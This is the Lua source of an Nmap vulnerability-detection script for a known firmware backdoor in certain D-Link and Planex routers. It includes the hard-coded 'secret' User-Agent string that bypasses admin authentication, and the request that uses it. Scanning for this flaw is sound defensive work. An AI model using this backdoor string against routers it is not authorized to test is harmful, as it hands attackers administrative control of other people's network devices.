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71 lines
2.5 KiB
Lua
71 lines
2.5 KiB
Lua
description = [[
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Detects a firmware backdoor on some D-Link routers by changing the User-Agent
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to a "secret" value. Using the "secret" User-Agent bypasses authentication
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and allows admin access to the router.
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The following router models are likely to be vulnerable: DIR-100, DIR-120,
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DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240
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In addition, several Planex routers also appear to use the same firmware:
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BRL-04UR, BRL-04CW
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Reference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
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]]
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---
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-- @usage
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-- nmap -sV --script http-dlink-backdoor <target>
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--
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-- @output
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-- PORT STATE SERVICE REASON
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-- 80/tcp open http syn-ack
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-- | http-dlink-backdoor:
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-- | VULNERABLE:
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-- | Firmware backdoor in some models of D-Link routers allow for admin password bypass
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-- | State: VULNERABLE
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-- | Risk factor: High
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-- | Description:
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-- | D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
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-- |
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-- | References:
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-- |_ http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
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---
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author = "Patrik Karlsson <patrik@cqure.net>"
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license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
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categories = {"exploit","vuln"}
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local http = require "http"
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local shortport = require "shortport"
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local string = require "string"
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local vulns = require "vulns"
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portrule = shortport.http
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action = function(host, port)
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local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true })
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local server = response.header and response.header['server'] or ""
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local vuln_table = {
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title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass",
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state = vulns.STATE.NOT_VULN,
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risk_factor = "High",
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description = [[
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D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
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]],
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references = {
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'http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/',
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}
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}
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if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or
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( response.status == 302 and server:match("^Alpha_webserv") ) then
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response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } })
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if ( response.status == 200 ) then
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vuln_table.state = vulns.STATE.VULN
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local report = vulns.Report:new(SCRIPT_NAME, host, port)
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return report:make_output(vuln_table)
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end
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end
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return
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end
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